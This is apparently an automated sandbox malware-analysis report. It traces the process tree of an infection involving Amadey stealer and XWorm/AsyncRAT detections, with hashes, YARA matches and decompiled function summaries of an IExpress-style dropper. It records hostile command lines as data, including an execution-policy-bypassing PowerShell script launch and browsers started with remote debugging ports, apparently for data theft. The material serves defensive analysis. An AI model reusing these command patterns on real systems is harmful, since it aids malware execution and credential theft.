Start time:	09:21:30
Start date:	03/01/2025
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\"
Imagebase:	0x7ff611420000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:21:31
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe"
Imagebase:	0x20000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2502440422.0000000000021000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:21:33
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x180000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2519927544.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:21:34
Start date:	03/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:21:35
Start date:	03/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2512,i,7697681695626081863,14330299052543612662,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:21:44
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:21:45
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2296,i,12827818353722698917,6313005570706160908,262144 /prefetch:3
Imagebase:	0x7ff6ae840000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:21:45
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:21:45
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2300,i,7152443262951052951,4773632967686692454,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:22:00
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x180000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3440719090.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	09:22:08
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe"
Imagebase:	0xeb0000
File size:	1'853'952 bytes
MD5 hash:	BAF4393084DDFBC8BE33B518EE788F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	09:22:09
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIJEGDAKEH.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:22:09
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:22:09
Start date:	03/01/2025
Path:	C:\Users\user\Documents\GIJEGDAKEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\GIJEGDAKEH.exe"
Imagebase:	0x1b0000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2877712999.00000000001B1000.00000040.00000001.01000000.00000015.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:22:14
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe"
Imagebase:	0x830000
File size:	3'185'152 bytes
MD5 hash:	61D014058401D47F86A077B708095317
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:22:33
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:22:33
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:22:54
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Imagebase:	0x2f0000
File size:	50'265'898 bytes
MD5 hash:	26F7294CA7A10C65B44057525A233636
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 9%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	09:23:00
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe"
Imagebase:	0x400000
File size:	1'958'912 bytes
MD5 hash:	41BF9AE1B6F48DC02E002D83E76210EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	09:23:05
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe"
Imagebase:	0x140000000
File size:	2'013'088 bytes
MD5 hash:	19861D67B2811D6EB3BE1951B28703AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	09:23:08
Start date:	03/01/2025
Path:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Imagebase:	0x7ff76e7e0000
File size:	1'071'704 bytes
MD5 hash:	8FA52F316C393496F272357191DB6DEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	09:23:10
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Imagebase:	0x2f0000
File size:	50'265'898 bytes
MD5 hash:	26F7294CA7A10C65B44057525A233636
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	30.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32%
Total number of Nodes:	919
Total number of Limit Nodes:	26

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003E202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003E2050
memset.MSVCRT ref: 003E205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 003E208C

Part of subcall function 003E171E: _vsnprintf.MSVCRT ref: 003E1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?), ref: 003E20C9
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 003E20EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 003E2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?), ref: 003E2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 003E2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?), ref: 003E2144
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 003E215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?), ref: 003E218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 003E21C1
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 003E21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 003E223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 003E2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 003E2250

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E21A8, 003E2204
wextract_cleanup0, xrefs: 003E20A5, 003E20BE, 003E20F0, 003E2232
%s /D:%s, xrefs: 003E21FF, 003E2210
advpack.dll, xrefs: 003E2109
wextract_cleanup%d, xrefs: 003E209E
DelNodeRunDLL32, xrefs: 003E212E
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003E2082
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003E21F6

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-607953301
Opcode ID: 2c2aa6f9e04970d5bc20565392265fe1d7a65d559bacbf5095e8b9606a324efb
Instruction ID: 5c0d928aa5239ee7c2cf9c1d7a1fad28f56cd18caf8faebd869b15edf627a0e6
Opcode Fuzzy Hash: 2c2aa6f9e04970d5bc20565392265fe1d7a65d559bacbf5095e8b9606a324efb
Instruction Fuzzy Hash: 6151FD719002B4ABDB339B62DC89FEB772CEB55700F0103A4FA49EA1D1DA719E458B50

Function 003E3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003E3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 003E3CDC

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,003E8C42), ref: 003E3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 003E3E26
FreeLibrary.KERNEL32(00000000,?,003E8C42), ref: 003E3EFF
LocalFree.KERNEL32(?,?,?,?,003E8C42), ref: 003E3F1F
FreeLibrary.KERNEL32(00000000,?,003E8C42), ref: 003E3F40
LocalFree.KERNEL32(?,?,?,?,003E8C42), ref: 003E3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,003E8C42), ref: 003E3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,003E8C42), ref: 003E3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,003E8C42), ref: 003E3FC2

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E3E74
SHOWWINDOW, xrefs: 003E3C34
USRQCMD, xrefs: 003E3CAD
valid, xrefs: 003E3E68
advpack.dll, xrefs: 003E3F9D
POSTRUNPROGRAM, xrefs: 003E3D60
REBOOT, xrefs: 003E3BE2
D, xrefs: 003E3C19
<None>, xrefs: 003E3CC9, 003E3D7D
ADMQCMD, xrefs: 003E3C9E
RUNPROGRAM, xrefs: 003E3D05
DoInfInstall, xrefs: 003E3E1F, 003E3E24, 003E3F68

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$valid
API String ID: 1032054927-4278585628
Opcode ID: e4bc820b27bcedc630552237c8ba0f1ecb6774ccc7fcb263f4be26b21cf9b481
Instruction ID: 256e7ab98321d358e73c54b97e870c62efcd1b29e905cc0a19f9e66b525899e6
Opcode Fuzzy Hash: e4bc820b27bcedc630552237c8ba0f1ecb6774ccc7fcb263f4be26b21cf9b481
Instruction Fuzzy Hash: 52B192709083E19BD7339F26888976B76E8EB84750F110B29FA85DB2D0D770DD45CB52

Function 003E1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003E1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003E1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003E1C57
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 003E1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,003E1140,00000000,00000008,?), ref: 003E1CB8
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 003E1D1B

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Strings

Command.com /c %s, xrefs: 003E1D9B, 003E1DE8
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E1BA0
setupapi.dll, xrefs: 003E1D23, 003E1D3A
AdvancedINF, xrefs: 003E1CAE
.INF, xrefs: 003E1BDB
setupx.dll, xrefs: 003E1D14
Reboot, xrefs: 003E1C82
.BAT, xrefs: 003E1D83
DefaultInstall, xrefs: 003E1C74, 003E1C87, 003E1CCE, 003E1CD3, 003E1D2D, 003E1D39
Version, xrefs: 003E1CB3
", xrefs: 003E1B25
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 003E1D3B

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3060569371
Opcode ID: 6d9d29929969a073433117b07272e681c7e1329286ff6ffa06898521a7a0de26
Instruction ID: 391c7d99f2b0fd249f8f287a409745d1434dcc19ce1c24824f6bd796693b34f1
Opcode Fuzzy Hash: 6d9d29929969a073433117b07272e681c7e1329286ff6ffa06898521a7a0de26
Instruction Fuzzy Hash: 03A13671A002F86BEF239B26CC45BFA77699B95310F1403A9F555AB2C0DBB09E85CB50

Function 003E2CAA Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003E2CD9
memset.MSVCRT ref: 003E2CE9
memset.MSVCRT ref: 003E2CF9

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 003E2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 003E2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 003E2DBD
CloseHandle.KERNEL32(valid,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 003E2E0A

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Strings

EXTRACTOPT, xrefs: 003E2D4D
INSTANCECHECK, xrefs: 003E2D95
valid, xrefs: 003E2D04, 003E2DD9, 003E2DF0
@"v, xrefs: 003E2E66
TITLE, xrefs: 003E2D09
VERCHECK, xrefs: 003E2E54

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: @"v$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$valid
API String ID: 1002816675-997357671
Opcode ID: da5f9bedddf60149187ee5562a4815ef4f63cf6830c1b91b7cf8770f92828ea2
Instruction ID: 8b7a3069b3abacada9e2d811182e0a48f07a53a649a4a7d927f09baafbf79fee
Opcode Fuzzy Hash: da5f9bedddf60149187ee5562a4815ef4f63cf6830c1b91b7cf8770f92828ea2
Instruction Fuzzy Hash: CC51B4707403F1AAE737AB239C8ABBB269CDB85700F01473AFA45DD2D1DAB49C419711

Function 003E597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003E59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 003E59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 003E5A13
MulDiv.KERNEL32(?,?,00000400), ref: 003E5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 003E5A64
memset.MSVCRT ref: 003E5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003E5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 003E5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 003E5BFC

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Part of subcall function 003E6285: GetLastError.KERNEL32(003E5BBC), ref: 003E6285

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
